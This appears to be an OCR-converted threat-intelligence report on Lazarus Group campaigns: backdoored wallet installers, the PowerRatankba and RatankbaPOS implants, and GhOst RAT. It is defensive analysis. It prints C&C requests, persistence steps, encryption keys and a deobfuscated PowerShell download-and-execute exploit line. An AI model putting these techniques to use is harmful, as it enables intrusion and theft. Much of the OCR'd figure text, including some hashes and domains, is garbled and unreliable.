Figure 21: Base64 encoded PowerRatankba downloader embedded in bithumb.xIs

BACKDOORED PYINSTALLER APPLICATIONS

Most recently, several large email phishing campaigns attempted to trick unsuspecting victims into visiting fake webpages
to download or update cryptocurrency applications. The copycat websites were mirror images of legitimate websites with
software download links pointing to the correct installers hosted on the legitimate websites. The only exception was the
link to download the Windows version of the application, which was hosted on the copycat websites. These Pylnstaller
executables were backdoored with a few lines of Python code added to download the PowerRatankba implant.

The first campaign that utilized this technique used a Bitcoin Gold (BTG) theme to trick the targets into visiting an
internationalized domain name (IDN) website (Fig. 22). An email was sent to targets offering a BTG wallet application
along with a link to the malicious website: hxxps://xn--bitcoingld-Icb[.Jorg/. However, web browsers and email clients would
display the link as follows: hxxps://bitcoingdld[.Jorg/. Emails in this BTG campaign were sent between approximately
November 10-16, 2017. Some of the known sender emails include but are not limited to: info@xn--bitcoingod-8yb[.]Jcom,
info@xn--bitcoigold-o1b[.]Jcom, and tech@xn--bitcoingld-Ilcb[.]Jorg. Campaigns using IDN can be difficult to recognize as
malicious because they are typically very similar to the mimicked legitimate domains except for a single character (Fig. 23).
(see I0C section for more likely related IDNs)

Figure 22: Sample email containing a URL to malicious IDN hosting Pylnstaller PowerRatankba downloader. The
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BITCOIN GOLD WALLET

Bacom Gold Sets Sunday Date for C ryptocusrency
Redease

Bie cen pold = st 10 o bve thes weckend

Betcoes pold comswamsty can bave 3 full smate of services of allow
cuusges | pools, willet o lasach tmne

Walle!

Please vist ot sie bty Suicoen 200 org snd st
BeacosnGold Wallet % get your BescowGold

Knd Regaréa,
BecomCold Team

© Bacosn GoM 2017

IDN email address is emphasized in a red box.

exchanges , pools, wallet at launch tim

https://bitcoingéld.org
Click to follow link

Download BitcoinGold Wal@t_!

Figure 23: Excerpt from phishing email showing the IDN link
with red arrow pointing to internationalized character

Many thanks to Yonathan Klijnsma (@ydklijnsma) of RiskIQ,
whose assistance allowed us to analyze a historical scrape of
one of the web pages hosting the malware at xn--bitcoingld-
Icb[.Jorg. In the scrape, an additional text and a button were
inserted in place of the BTG logo. The button used JavaScript to
download a payload from hxxps://bitcoingdld[.]Jorg/bitcoingold.
exe (IDN: xn--bitcoingld-Icb[.]Jorg) (Fig. 24). Additional
differences are likely the result of changes to the legitimate
website (Fig. 25) since the malicious campaign.

FAQ BLOG

@B"CQNGC‘LD

Please download Bitcoin Gold wallet program to get your BTCG.

Download wallet

Ahard fork of Bitcoin is
the most fair and
efficient method of
creating and distributing
anew digital asset.
Coins that are created
from a new genesis
block always have
ownership concentrated

RANSPARENCY

DECEN

0=

Bitcoin Gold is a free
open source software
project that is built by
volunteer developers
and supported by a

In order to ensure the
safety of the Bitcoin
ecosystem, Bitcoin Gold
will implement full
replay protection, an
essential feature that
protects users coins

Bitcoin Gold implements
a new PoW algorithm,
Equihash, that makes
mining decentralized

‘again. Special computer
hardware designed for
BTC mining (ASICs) is

obsolete for mining BTG,
giving ordinary users a

rapidly growing
community of Bitcoin
eenthusiasts that
from being spent stretches across the
accidentally. globe.
among a smaller group

of people.

chance to mine with
ubiquitous GPUs.

HOME FEATURES TEAM ECOSYSTEM FAQ DOWNLOADS BLOG E W % O

@BHCOINGOLD

BITCOINCOLD

BITCOIN DECENTRALIZED

ROADMAP

DECENTRALIZATI FAIR REPLAY TRANSPARENCY
ON DISTRIBUTION PROTECTION Bilceiy Grid Exe Tree opan

Bitcoin Gold decentralizes Hard forking Bitcoin's To ensure the safety of source software project

mining by adopting a Pow blockehain fairly and the Bitcoin ecosystem, that s built by volunteer
algorithm, Equihash, efficiently distributes a Bitcoin Gold has developers and supported

which cannot be run faster new digital asset implemented ful replay by a rapidly growing
on the specialty
equipment used for

Bitcoin mining (ASIC

community of Bitcoin
enthusiasts that stretches
around the globe.

protection and unique
wallet addresses,
essential features that

immediately to people all
over the world who have

interest in cryptocoins.

Figure 24: Malicious BTG website hosting
PowerRatankba downloader. Credit: RisklQ
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ordinary users a fair creating coins with a new coins from several kinds

opportunity to mine with genesis block, of accidents and malicious

Figure 25: Legitimate BTG website showing difference
between legitimate and malicious websites (note: this
screenshot was not taken on the same day as the
screenshot of the malicious website)
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Once clicked, the button on the malicious BTG page would have directed a victim to download a payload
from hxxps://bitcoingdld[.]Jorg/bitcoingold.exe. At the time of our analysis, this URL was not returning content.
However, we discovered from a comment on a multiple anti-virus scanning service that someone targeted

by this campaign had uploaded a payload downloaded from the fake website. The file in that case was
named ElectronGold-1.1.1.exe (eab612e333baaec0709f3f213f73388607e495d8af9a2851f352481e996283f1).
We also found a similar payload with unknown origin named ElectronGold-1.1.exe
(b530de08530d1ba19a94bc075e74e2236¢c106466dedc92be3abdee9908e8ci7e).

The second campaign we discovered used a fake Electrum update as the lure to similarly direct victims to a malicious IDN
resembling the legitimate electrum.org website (Fig. 26). The emails in this case were sent, based on our visibility, using a
unique @mail.com email address for each recipient, and at least some of the emails were sent between November 18-21,
2017. A subject of “New Electrum Wallet Released” was used to trick victims into thinking that they needed to download
an update for Electrum to be able to use Segwit2X and Bitcoin Gold. If a victim clicked on the malicious link, they were
presented with what appeared to be a normal version of Electrum’s official website (Fig. 27).

Sat 11/18/2017
@mail.com on behalf of
electrum <no-reply@electrum.org>

New Electrum Wallet Released

Get ready for upcoming Bitcoin
Hardforks!

What Are The Upcoming Bitcoin Hardforks?

In the next few weeks, Bitcoin will undergo 2 more controversial
hardforks which are as follows:

Bitcoin Gold: Expected hardfork to occur on November 25

Segwit2X: Expected hardfork to occur on Block 494,784,
approximately on November 28

What Should I Do?

Download and install new Electrum Wallet to get BitcoinGold and
Segwit2x related to your BTC.

Kind Regards,

Electrum Team

Figure 26: Phishing email with fake Electrum
wallet application update announcement

lectrum Bitcoin Wallet X\

() ‘ & Secure lhttps electrum.org/#down|oz w:‘]

Downl

Home

Latest release: Electrum-3.0.3

Easy installation

Install dependencies:

sudo apt-get install python3-setuptools python3-pyqt5 python3-pij
Install Electrum:

sudo pip3 install https://download.electrum.org/3.0.3/Electrum-3

[Standalone Executable|Eianatire)

Portable version [Ehnatiie)

Note: The QR code scanner is not supported in Windows binaries

Note: Some old versions of Windows might need to install the KB2999226 Windows upda

)

< Linux

Ay
A7 Windows

" Executable for OS X (signature)
0OsX Note: The QR code is not supported in OSX bi
Google Play

Android

APK (signature)

Installation from Python sources

Electrum-3.0.3.tar.gz (signature)
Electrum-3.0.3.zip (signature)

Sources

& Linux

Download and untar Electrum-3.0.3.tar.gz
In the electrum directory, run: 'python3 electrum'
To install it on your system, run: 'sudo python3 setup.py install’

Figure 27: A fake website with links to backdoored installation
packages highlighted in red boxes and internationalized
character noted by red arrow

Each of the links highlighted in red led to a malicious payload hosted directly on the same server: hxxps://xn--electrm-
s2a[.Jorg/electrum-3.0.3.exe (Fig. 28). The electrum-3.0.3.exe is a backdoored Pylnstaller that is configured to download a

VBScript PowerRatankba downloader.
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<div 1d="win">
<a href="https://electrum.org/electrum-3.0.3.exe">Standalone Executable</a>
<span style="font-size:80%">
(=a href="https://electrim.org/electrum-3.0.3.exe">signature</a>)
</span>
</div>
<div id="win portable">
<3 href="electrum-3.0.3.exe">Portable version</a=
<span style="font-size:80%">
(<a href="https://electrim.org/electrum-3.0.3.exe">signature</a>)
(<a href="https://electrim.org/electrum-3.0.3.exe">security advice</a=)
</span>
</div=>

Figure 28: HTML code from malicious Electrum webpage

In both campaigns, the same malicious Python code was injected into the PyInstallers, specifically into \gui\gt\installwizard.
py. The backdoor code in each campaign is nearly identical except for the target URL and the file name to which the
downloaded VBScript is saved (Fig. 29).

Figure 29: Side-by-side comparison of backdoored installwizard.py scripts. Left: BTG, Right: Electrum

The BTG campaign was configured to download a VBScript from hxxp://www.btc-gold[.]Jus/images/top_bar.gif while
saving the downloaded script to C:\Users\Public\Documents\diff.vbs. We were unable to retrieve this file but suspect a
PowerRatankba variant would have been downloaded based on other campaigns.

The Electrum campaign was similarly configured to download a VBScript; however, in this case we were able to analyze the
downloaded payload. The backdoored installwizard.py downloaded a script from hxxp://trade.publicvm[.]Jcom/images/top
bar.gif (see Attribution section for more commentary) while saving the downloaded script to C:\Users\Public\Documents\
Electrum_backup.vbs. The downloaded Electrum_backup.vbs was a PowerRatankba downloader with a target URL of
hxxp://trade.publicvm[.]Jcom/images/character.gif, which ultimately delivered a PowerRatankba implant with a C&C of trade.
publicvm[.]Jcom.

IMPLANT DESCRIPTION AND ANALYSIS

Three key implants were used at various points in these campaigns. The implants -- PowerRatankba, GhOst RAT, and
RatankbaPOS -- and specific variations are described in detail below.

POWERRATANKBA DESCRIPTION

PowerRatankba is used for the same purpose as Ratankba: as a first stage reconnaissance tool and for the deployment
of further stage implants on targets that are deemed interesting by the actor. Similar to its predecessor, PowerRatankba
utilizes HTTP for its C&C communication.

Once executed, PowerRatankba first sends detailed information about the infected device to its C&C server via the
Baselnfo HTTP POST (Fig. 30), including the computer name, IP address(es), OS boot time and installation date, language,
if ports 139, 3389, and/or 445 are open/closed/filtered, a process list, and (PowerRatankba.B only) output from two WMIC
commands (Fig. 31).
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POST /search.jsp?action=BaseInfodu= g HTTP/1.1
Content-Type: text/plain

Host: vietcasino.linkpc.net:8080

Content-Length: = =

Expect: 100-continue

Connection: Keep-Alive

HTTP/1.1 100

filename="" N . rst”
Content-Type: application/octet-stream

Name Value
IP Address 1

0S Architecture

0S Boot Time

0S Install Date

0S Language

0S Name

0S Service Pack

0S Version

Port 139 (File shares/RPC)
Port 3389 (RDP)

Port 445 (File shares)
ProxyEnable

ProxySetting

Figure 30: Initial HTTP POST containing infected device information to PowerRatankba.A C&C

“C:\Windows\system32\cmd.exe" /c "wmic process get processid,commandline,sessionid | findstr
x86"

=m 1
findstr x86
- 1

"C:\Windows\system32\cmd.exe" /¢ "wmic process get processid, commandline, sessionid | findstr
stwmi'
gl 1

findstr SysWOW
| gl 1

Figure 31: WMIC command output sent via same initial HTTP POST

There are only slight variations between the initial Baselnfo HTTP POST, such as the process list is retrieved by
PowerRatankba.A using “tasklist /svc” while PowerRatankba.B uses just “tasklist”.

POWERRATANKBA.A C&C DESCRIPTION

After the initial C&C check-in, PowerRatankba.A issues What HTTP GET requests (Fig. 32) to retrieve commands from the C&C
server. All PowerRatankba.A HTTP requests contain a randomly generated numeric UID passed in the u HTTP URI parameter.

GET /search.jsp?action=wWhat&u=msssss & sam HTTP/1.1
Content-Type: text/plain

Host: vietcasino.linkpc.net:8080

Connection: Keep-Alive

Figure 32: PowerRatankba.A What HTTP GET Request

This variant receives commands and sends responses in plaintext. This variant only has four commands (Table 1) including
a sleep, exit, and two different execute code functions.
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Table 1: PowerRatankba.A C&C commands

Command Description

success Sleep and send request after sleep

Killkill Exit

Execute Download payload from provided URL and execute via memory injection
DownExec Download payload from provided URL, save to disk, then execute

POWERRATANKBA.B C&C DESCRIPTION

Similar to its predecessor, PowerRatankba.B issues What HTTP requests to its C&C server after the initial check-in. Instead
of a numeric UID, this variant uses the infected device’s double-Base64-encoded MAC address (Fig. 33).

GET /server.jsp?action=What&u= HTTP/1.1
Content-Type: text/plain

Host: apps.got-game.org

Connection: Keep-Alive

Figure 33: PowerRatankba.B What HTTP GET Request

Commands from the C&C are still expected as plaintext but command parameters for all commands except interval are
encrypted with DES using “Casillas” as both the key and initialization vector (IV) and then Base64-encoded. The response
of the cmd command is the only data that is sent DES encrypted to the C&C whilst all other network traffic sent from the
infected device to the C&C is either plaintext or Base64-encoded.

Several new commands were added to this variant (Table 2) while Execute and DownExec were replaced. The command
exe was eventually changed to inj while functionality remained the same. Additionally, some earlier variants did not contain
all of the commands listed below but the overall capabilities of the backdoor remained largely the same, therefore for the
purpose of this research all variants with DES encryption are considered variant PowerRatankba.B.

Table 2: PowerRatankba.B C&C commands

Command Description

success Sleep and send request after sleep

Killkill Exit

interval Change default sleep length

cmd Execute command using “cmd.exe /c $cmdinst” . Command response is sent back to the
C&C DES encrypted and Base64 encoded

cf sv Replace SCH, VBS, PS1 files with provided server location and pre-determined URI (e.g.,

rrr Download payload from provided URL, write to C:\Users\Public\Documents\000.exe, and
then execute payload.

exe or inj Download payload from provided URL, inject into process memory using Invoke-
ReflectivePElnjection

POWERRATANKBA PERSISTENCE

For persistence, PowerRatankba.A saves a JS file to the victim’s Startup folder as appView.js that will

be executed every time the victim’s user account logs in. The persistence JS (Fig. 34) contains a XOR
encoded PowerShell script to retrieve a Base64 encoded PowerShell from a hardcoded URL (e.g.,
hxxp://macintosh.linkpc[.]net:8080/mainls.cs ). The encoded PowerShell script used a XOR key of
“ZWZBGMINRQLUSVTGHWVYANJHTVUHTLTUGKOHIYOXQEFEIPHNGACNKMBWGRTJIHRANIIZUNNZHVE”.
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shell.run(path

{x

Figure 34: appView.js persistence JS

PowerRatankba.B is capable of using two different persistence methods while only one will be used based on whether

or not the executing user has Administrator privileges. PowerRatankba first checks if the account has administrator
privileges by executing the following command: “whoami /groups | findstr /c:"S-1-5-32-544" | findstr /c:"Enabled group”
&& goto:isadministrator”. If the user account does have administrator privileges then PowerRatankba will download a
PowerShell script from a hardcoded location (e.g., “$BaseServer + ‘images/character.gif’”), save it to a hardcoded location
(e.g., C:/Windows/System32/WindowsPowerShell/v1.0/Examples/detail.ps1), and finally create a scheduled task to execute
the downloaded PowerShell script on system startup. If the user account does not have administrator privileges then a
VBScript file is downloaded from a hardcoded location (e.g., “$BaseServer + ‘images/top bar.gif’”) and saved to the
executing user’s Startup folder as, for example, PwdOpt.vbs or ProxyServer.vbs.

POWERRATANKBA.B STAGE? - GHOST RAT

A GhOst remote access Trojan/tool (RAT) was delivered via PowerRatankba.B to several devices running common
cryptocurrency-related applications. The GhOst RAT samples were delivered via the memory injection exe/inj command (Fig.
35). After decrypting the command with DES the target URL was revealed to be hxxp://180.235.133[.]235/img.gif (Fig. 36).

exe|y2ZHeIOTMJIbNJIART 7vB881dcDQKzbvInkSNS45ifqf2A=|

Figure 35: Exe command delivered from PowerRatankba.B C&C to infected device

GET /img.gif HTTP/1.1
Content-Type: text/plain
Host: 180.235.133.235
Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Apache-Coyote/s1.1

Accept-Ranges: bytes

ETag:

Last-Modified: Mon, 23 Oct 2017 00:55:24 GMT
Content-Type: image/gif

Content-Length: 226648

Date:

TVQQAAMAAAAEAAAA/ /

NORTH KOREA BITTEN BY BITCOIN BUG

Figure 36 (left): PowerRatankba.B retrieving
Base64-encoded GhOst dropper

The fake image was actually a Base64-encoded
custom encryptor with the embedded, encrypted
GhOst RAT as the final payload. The encryptor
utilized AES in CBC-mode with the NIST

Special Publication 800-38A example key of
“2B7E151628AED2AGABF7158809CF4F3C” and IV of
“000102030405060708090A0BOCODOEOF” (Fig. 37).
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[ebp+uar_24 ; AES Kkey start
[ebp+uar 28

[ebp+uar

[ebp+val

[ el

[ebp+uar_ 15 AES Key end

[ebp+uvar_14 ; AES IU start
[ebp+t

[ebpruar_¢ AES IV end

Figure 37: AES key and IV in custom encryptor downloaded by PowerRatankba.B

The decrypted GhOst implant is a custom variant with magic bytes of RFC18 (Fig. 38). This variant was likely based on version
3.4.0.0 of GhOst/PCRat, however we consider it likely that the author(s) have given their implants an internal version of 1.0.0.1
as can be observed in the decompressed initial check-in to the C&C (as well as hardcoded in the binaries) (Fig. 39).

ptr [esp+
ptr [esp+
ptr [esp+
ptr [esp+

Figure 39: Version 1.0.0.1 RFC18 GhOst RAT

Much of the 3.4.0.0 code remains the same, including the usage of Zlib compression and the infamous \x78\x9¢ default
Zlib compression header bytes (Fig. 40) observed in countless GhOst RAT samples over the years.

000000 52 46 43 31 38 b5 60 0 OO 1c 01 GG 6O 78 9c REC IR X J

00000010

00000020

00000030

00000040

00000050

00000060

elelelslolopde]

elelele]olopE]e)

00000090

00E000A0

00EOREBO
00000000 52 46 43 31 38 16 60 00 060 01 00 00 00 78 9c RECIR e
00000010
00000016 52 46 43 31 38 16 00 00 0O 01 G0 @@ 00 78 9c REE 18 e s
00000026
0000002C 52 46 43 31 38 16 00 00 0O 01 60 GO 00 78 9c REE e e e
0000003C

00000EB5 52 46 43 31 38 16 00 00 00 01 00 00 00 78 9c RFC18... ..i. X.

0EEEBECS

Figure 40: Initial GhOst check-in depicting RFC18 magic bytes and Zlib header
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GHOST RAT PURPOSE

During our research we discovered that long-term sandboxing detonations of PowerRatankba not running cryptocurrency-
related applications were never infected with a Stage2 implant. This may indicate that the PowerRatankba operator(s)

were only interested in infecting device owners with an obvious interest in various cryptocurrencies. In one case, a RFC18
GhOst RAT was delivered to a PowerRatankba.B infected device within twenty minutes of the initial infection. From analyzing
C&C traffic logs we assess that a Lazarus operator almost immediately viewed the screen of the infected device and then
proceeded to take over full remote control, giving them the ability to interact with applications on the infected device,
including a password-protected Bitcoin wallet application.

SHOPPING SPREE: ENTER RATANKBAPQS

Beyond stealing millions of US dollars worth of cryptocurrency, we have discovered a Lazarus operation to steal point-
of-sale (POS) data primarily targeting POS terminals of businesses operating in South Korea. Considering the time of
year, most retail businesses around the world report their highest volume of sales between November and December so
naturally POS is a popular target for criminals. Enter RatankbaPOS, possibly the first publicly documented nation-state
sponsored campaign to steal POS data from a POS-related framework.'

At this time we have been unable to determine how RatankbaPQOS is being delivered; however, based on its sharing of
C&C with PowerRatankba implants we hypothesize that Lazarus operators infiltrated at least one organization’s networks
utilizing PowerRatankba to deploy later stage implants (including the possibility of RFC18 GhOST RAT) to ultimately deploy
RatankbaPOS. Based on the fact that the file was hosted on the C&C in plaintext, and not Base64 encoded, we assess that
RatankbaPOS was more likely deployed with a later stage implant other than PowerRatankba.

RATANKBAPOS ANALYSIS

RatankbaPOS is deployed through a process injection dropper that is also capable of installing itself persistently, checking
a C&C for either an update or a command to delete itself, dropping the RatankbaPOS implant to disk, and finally searching
for the targeted POS process and module for injection and ultimately the theft of POS data.

The dropper first sets up persistence by creating a registry key in HKEY LOCAL MACHINE\SOF TWARE\Microsoft\Windows)\
CurrentVersion\Run\igixgptiray. It uses its own module file name for the registry key value. Next, it makes an HTTP request
to a hardcoded URL hxxp://www(.Jwebkingston[.]Jcom/update.jsp?action=need update using a hardcoded User-Agent
(UA) of “Nimo Software HTTP Retriever 1.0” (Fig. 41) to request either instruction from the C&C to delete itself and remove
the persistence registry key or to download an updated implant with which to replace itself. If no response is returned from
the C&C, RatankbaPQOS will begin the process injection search.

GET /update.jsp?action=need_update HTTP/1.1
User-Agent: Nimo Software HTTP Retriever 1.0
Host: www.webkingston.com

HTTP/1.1 200 0K

Server: Apache-Coyote/1.1

Set-Cookie: JSESSIONID-—SEEmmmmm aEmesssmesmmm - Path=/; HttpOnly
Content-Type: text/html;charset=UTF-8

Transfer-Encoding: chunked

Date: = N " " 0N - mE

2000

Figure 41: RatankbaPOS dropper requesting and receiving update from C&C

1 We acknowledge the excellent work from @ashley shen 920, @051R15, and @kjkwak12 with their documentation of North Korean-related attacks on VANXATM
which was targeting ATM devices and not directly POS.
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The process injection search begins by taking a snapshot of the process list using CreateToolhelp32Snapshot. The implant
dropper/injector will then case-insensitive search for a process named xplatform.exe which we assess is likely associated
with Tobesoft's XPLATFORM UI/UX design software. If a process name match is found then a TH32CS_SNAPMODULE
CreateToolhelp32Snapshot call is used to make a snapshot of xplatform.exe’s running module list. Loaded modules

are then iterated using Module32First and Module32Next while converting each result to lowercase by adding 0x20 to

any uppercase letters and then finally comparing the string to ksnetadsl.dll (Fig. 42) that we assess is associated with

a KSNET POS framework . Finally, the filesize of ksnetadsl.dll is checked to make sure it is 98,304 bytes (Fig. 42). If a
successful match is found then the process ID (PID) of xplatform.exe is returned. Lastly, RatankbaPOS will be written to
disk as c:\windows\temp\hkp.dIl and the PID of xplatform.exe process will be used to inject hkp.dll into xplatform.exe using
LoadLibraryA and CreateRemoteThread (Fig. 43).

FileName[8] = 8;
memset(&FileName[1], ¢

_snprintf(Fi 1eName,

F ( &FileName[strlen(F

Figure 42: Dropper/injector searching for ksnetadsl.dll and correct filesize
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Figure 43: Injecting RatankbaPQOS into xplatform.exe

RatankbaPOS will first hook the KSNETADSL.dIl module at offset 0xB146 (Fig. 44). Interestingly there is code for
RatankbaPOS to check KSNETADSL.dII for an exported function named 1000B146, which seems like an unusual export
name for which to check, but this code will never be used because ‘Istrcmp(“1000B146”, “1000B146”)" will always be true.
We hypothesize that this feature was included either by mistake or was previously used for debugging. RatankbaPOS will
also log messages to a file stored in c:\windows\temp\log.tmp.

Figure 44: RatankbaPOS
setting KSNETADSL.dII
injection offset

At this point in the reverse
engineering process, we
would naturally begin
reversing the KSNETADSL.
dll module; however, we
have only been able to find
two such modules with a
filesize of 98,304 bytes:

U u
our_bl46 han
set to 1 ifSuc

- Funcaddr bl46 = @;
our_bl46 handle

o f2f6b4770718eed349fb7¢c77429938ac1deae7dd6bcc141ee6f5af9f4501a695
e 6c8c801bb71b2cd90a2¢c1595092358e46chfe63e62ef6994345d6969993ea2d6
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After analyzing both KSNETADSL.dIl modules, our preliminary assessment is that neither of the modules are the correct
target for RatankbaPOS. We can at least gain some insight into the purpose of KSNETADSL.dIl, which appears to be the
handling of encrypted and decrypted credit card numbers for a KSNET-related POS framework system (Fig. 45). Further
analysis of RatankbaPOS focusing on the code used for C&C revealed the likely purpose of this implant

1

writelog|
writelog(
writelog(

= malloc(@x1000
memset(v7, €

; Do .-::, V7, 8, 8);
Funcaddr bl4s(al,

\ J>

Figure 46: Hook handler creating new thread for C&C then hooking KSNETADSL.dII

Our analysis of the C&C communication revealed a number of clues as to what was being exfiltrated. Initially, the implant
uses strchr to find the first occurrence of “=" in the string data that is received from the hook of KSNETADSL.dII. Next,
37-bytes beginning at 16-bytes before the position of the “=" are copied to a buffer. Finally, that buffer is compared to a
substitution buffer that was created at the beginning of RatankbaPOS’ execution (Fig. 47). The substitution algorithm uses
the values starting at offset 0x30-0x39 in the “E”-filled buffer to substitute the ASCII values of “0-9” for “ZCKOADBLNX” as
well as at offset 0x3D for substitution of ASCII “="to “Y”. Therefore, values “0-9” will be obfuscated to “ZCKOADBLNX”
while “=" will be obfuscated to “Y” (Fig. 48).

memset(substitution vals,

‘&substitution_val
*&substitution vals
*&substitution_val
substitution vals|

Figure 47: Obfuscation substitution buffer created in RatankbaPOS
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%HTjIEH 45 45 45 45 45 45 45 45| EEEEEEEE
I ::I_‘ | | 4 ~] ] 2 ] ' el 4

Jle/4CEBRER 42 4B 4F 41 44 42 40| SCKORDEL
71574CECJ4E B8 45 45 45 59 45 45| NXEEEYEE

71874CF2| 45 45 45 45 45 45 45 45| EEEEEEEE
~le74bBa| 45 45 45 45 45 45 45 45| EEEEEEEE
71874083 45 45 45 4% &5 &5 &5 45| EEEEEEEE

=AM AN A Ar-  aAr A e e e e
Figure 48: Obfuscation substitution buffer in memory

To obfuscate the data, RatankbaPOS simply uses the hex value of the cleartext ASCII string to substitute itself for a value
in the substitution buffer. For instance, a value of “0” would be substituted to “Z” while any equals signs (“=") will be
substituted for “Y”. This method is used to likely obfuscate the data so it is harder to detect by simply glancing at network
traffic or through the use of heuristic-based detection of plaintext credit card data transmitted over the network. Once

the stolen data has been obfuscated, it is sent in a POST HTTP request to the URL /list.jsp?action=up using the same
hardcoded UA as the injector: “Nimo Software HTTP Retriever 1.0” (Fig. 49). So far we have observed the following C&C
domains: www.energydonate[.Jcom and online-help.serveftp[.]Jcom.

»C2(LPVOID lpThreadParameter)

Figure 49: DoC2 function that obfuscates stolen data and exfiltrates to a C&C
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PAS SIS -HIE . _ 10l x| Based on documentation we have found online,

= mL g

DI (F) ME(E) AA0) EII0V) S22HH) RatgnkbaPOS is possibly targe}mg’:’] plamt.ext track data in
5445410611085 00816601501 00000000114 21 = the first 16 bytes followed by a “=" and finally followed by
944541 0611985008$9%026010000000011421 encrypted POS-related data beginning with “99” (Fig. 50).
gﬁ Ejiggﬂggggggj 2223 gg{ggggggggﬁjﬁ According to the document, this is an encrypted form of
9445410611985 008+99055010000000011421 the track data. Based on this, there is the possibility that
944 5410611585008459066010000000011421 . . .

044541 061108500510007601000000001 1421 this campaign may be targeting a SoftCamp POS-related
644 54106110985008+050860100000000114271 software application, framework, or device. If we are correct
044541 061158500855056010000000011421 hAA o
044541 061198500840010K010000000011421 and the values “99” always follow the “=" sign then one
£445410611085008380116010000000011421 could potentially find exfiltrated data in network traffic by
044 54106110850081001L2E0L0000000011420 . — ; . .
C44541061108500840001F010000000011421 searching for the string “YXX” starting at offset 16 in the
|944 541061198500833200601.000000001 1421 client body of an HTTP POST request. However, more logic
will likely be necessary to reduce false positives but this
opens up several options for detection.
- Figure 50: Documentation on South Korean POS
K| » | software depicting POS data that matches the pattern

| [Lni5 Col 4 RatankbaPOS is searching for (markings not ours)

RATANKBAPOS TARGETED REGION

Based on the fact that RatankbaPOS is targeting a South Korean software vendor's POS framework, including clues that
the length of exfiltrated data matches related POS data (document here, and another document here), we assess with high
confidence that this threat is primarily targeting devices in South Korea.

ATTRIBUTION TO LAZARUS GROUP

Attribution is a controversial topic and arguably one of the most difficult tasks threat intelligence analysts face. However,
based on our research, we assess with a high level of confidence given the information available to us that the operations
and activity discussed in this research are attributed to Lazarus Group and ultimately North Korea.

In consideration of the controversial and difficult task at hand, we are providing an above and beyond summary of just
some of the key pieces and overlaps to validate our assessment. Key reasons, discussed in detail below, are Encryption,
Obfuscation, Functionality, Code Overlap, Decoys, and C&C.

ENCRYPTION

In October 2016 Lazarus Group pulled off a major operation that allegedly compromised at least 20 banks in Poland as
well as banks in other countries around the world. The attacks have been well documented by BAE, Kaspersky, ESET,
TrendMicro, and Symantec. The attribution of this attack to Lazarus (aka, Bluenoroff) and ultimately North Korea is widely
accepted across the industry. What has not been documented publicly, to our knowledge, are the specifics behind the
implementation of the Spritz encryption cipher utilized in some of the implants surrounding the banking incidents in late
2016 and early 2017.

Spritz is self-described as a spongy RC4-like stream cipher that was designed by Ronald Rivest and Jacob Schuldt.
Multiple implementations of Spritz exist on Github in languages like C and Python. Anyone researching Lazarus Group'’s
version of Spritz will quickly find out that neither of the previously mentioned implementations will successfully decrypt
hidden payloads in either banking related implants nor PowerSpritz's legitimate installer payload and malicious
PowerShell commands.

The issue, or possibly feature, in Lazarus Group'’s implementation of Spritz can be found buried in a single paragraph on
page five of the original Spritz publication (Fig. 51). It states that addition and subtraction may be substituted for exclusive-
or (XOR) and is referred to Spritz-xor.
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with the design goal that Spritz should work for all N,
not just NV that are powers of 2. Of course, when N is
a power of 2, one could use exclusive-or rather than
addition/subtraction. We call this variant Spritz-xor,
but do not further discuss this variant in this paper.

Figure 51: Excerpt from Spritz publication

Examining Lazarus Group’s implementation of Spritz in
one of the original implants utilized to compromise banks
in late 2016 and 2017 via watering hole attacks, it quickly
becomes apparent that they have actually implemented
Spritz-xor instead of the normal Spritz algorithm (Fig. 52).

Figure 53: Spritz-xor decrypt implementation in PowerSpritz
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OBFUSCATION

Earlier this year several watering hole attacks targeting South Korea utilized an ActiveX 0day exploit in M2Soft to deliver
Lazarus-connected FBI-RAT and Charon implants. Some of the techniques observed in these attacks overlap with the

JS downloader and CHM PowerRatankba campaigns. One such overlap was through the usage of a well-known JS
obfuscation technique in both the M2Soft exploit and PowerRatankba JS downloader campaigns. The method is a public
and widely used technique of masking strings using their hexadecimal values and placing them in an array assigned to a
variable with a naming structure of _0x[a-f0-9]{4} (Fig. 54).

Figure 54: ActiveX M2Soft exploit utilizing JS obfuscation also observed in a PowerRatankba campaign

FUNCTIONALITY

Several features in the original Ratankba implants are similar or identical when compared to PowerRatankba and
RatankbaPQOS. Furthermore, the usage of a common directory c:\windows\temp\ for the storage of implants and logs are
seen across a wide array of Lazarus Group'’s toolset. A brief overview of similar features is shown in below (Table 3) while a
detailed description of each overlap may be found below.

Table 3: Feature comparison table

Feature Ratankba PowerRatankba RatankbaPOS M2Soft Exploit FEIB Spreader
JSP C&C similarities X X X

Commands: X X

success,killkill

Sleep 15 minutes loop X X

c:\windows\temp\ X X X X

First consider the C&C protocols utilized in all Ratankba, PowerRatankba, and RatankbaPOS. Ratankba'’s initial POST to
C&C to divulge compromised system information uses the same Baselnfo parameter as PowerRatankba. Additionally, a
Ratankba sample (bd7332bfbb6fe50a501988c3834a160cf2ad948091d83ef4de31758b27b2fb71) utilizes a C&C of list.jsp
while RatankbaPQOS utilizes an identical URIfile name for allegedly exfiltrating credit card information to a C&C. Second,
Ratankba’s supported commands include success and kKillkill that function identically to the respective PowerRatankba
commands. Furthermore, a sleep loop of 900 seconds (15 minutes) is utilized in both Ratankba and RatankbaPOS’
dropper (Fig. 56,56).

push ; duMilliseconds
call ]

mov bx, [uﬂ» ]
jmp loc_4848BA

Figure 55: Ratankba command loop sleep
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loc_461B586: CODE XREF: Win
duMilliseconds

edi Sleep
check_process

eax

ort loc_461B56

Figure 56: RatankbaPOS dropper target process search loop

Lastly, while further analyzing the M2Soft exploit discussed in the Obfuscation section, a familiar destination directory of
C:\windows\temp\ was spotted in the deobfuscated JS (Fig. 57,58). This destination directory was also used during the
PowerRatankba CHM campaign, by RatankbaPOS for log and implant storage, and by the FEIB spreader.

{var logstrl="< s :

logstrl);var obj= new ActiveXObject(" ");var phkResult;var ret=1;o0bj["nDestDir"]=
"c";var dd= new Date();var Hours=dd["getHours"]();var Minutes=dd[getMinutes]();Minutes+= 2;var test=Hours+ ":"+
Minutes;var tt="cmd /c c:\windows\system32\at.exe "+ test+ " powershell -nop -nologo -wind hidden (New-Object
System.Net.WebClient) .DownloadFile(" ', "c:\windows\temp\iexplore.exe"');
New-Object -com Shell.Application).ShellExecute( 'c:\windows\temp\lexplore.exe");";obj["rCreateProcess"](tt,0)}

Figure 58: Deobfuscated M2Soft exploit used to deliver Lazarus Charon implant

CODE OVERLAP

On or before October 3rd, 2017, the Far Eastern International Bank (FEIB) in Taiwan was

